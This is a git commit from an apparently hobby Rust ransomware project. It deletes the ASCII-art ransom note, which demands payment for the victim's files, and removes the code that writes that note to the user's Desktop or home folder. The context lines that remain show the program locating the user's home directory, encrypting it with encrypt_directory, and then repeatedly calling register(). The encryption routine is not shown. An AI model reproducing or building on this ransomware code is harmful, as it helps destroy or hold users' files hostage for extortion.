fork: revert ransom note

This commit is contained in:
Xory 2024-07-06 14:17:47 +03:00
parent 891746eb1a
commit 1e4eaf6d1c
3 changed files with 1359 additions and 25 deletions

1359
Cargo.lock generated

File diff suppressed because it is too large Load diff

View file

@ -1,11 +0,0 @@
|
\ ___ / ____ __ __
/ \ / __/__ / /_________ _____ / /_
- | | - _\ \/ _ \/ / __/ __/ // / _ \/ __/
\___/ /___/\___/_/\__/_/ \_, / .__/\__/
/ \ /___/_/
| Made by Xory
So... you messed up.
Your files are gone.
Now you're going to have to pay us money at [not implemented yet] to get your files back or whatever. I built this thing for fun ffs.

View file

@ -7,28 +7,16 @@ use std::time::Duration;
use std::fs::File;
use std::io::Write;
const NOTE: &str = include_str!("../note.txt");
fn main() -> std::io::Result<()> {
#[cfg(target_os = "windows")]
let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail!
#[cfg(target_os = "windows")]
let ransomnoteloc = format!("{home}\\Desktop\\README.txt");
#[cfg(target_os = "linux")]
let home: String = env::var("HOME").unwrap();
#[cfg(target_os = "linux")]
let ransomnoteloc = format!("{home}/readme.txt");
encrypt_directory(&home).unwrap(); // I know this many unwraps look
// suspicious, but the chance of this
// failing is less than a solar flare.
// Write ransom note to desktop
let mut ransomnote = File::create(ransomnoteloc)?; // we *should* have write perms for
// the user's HOME
ransomnote.write_all(NOTE.as_bytes())?;
ransomnote.flush()?;
loop {
let registration_attempt = register();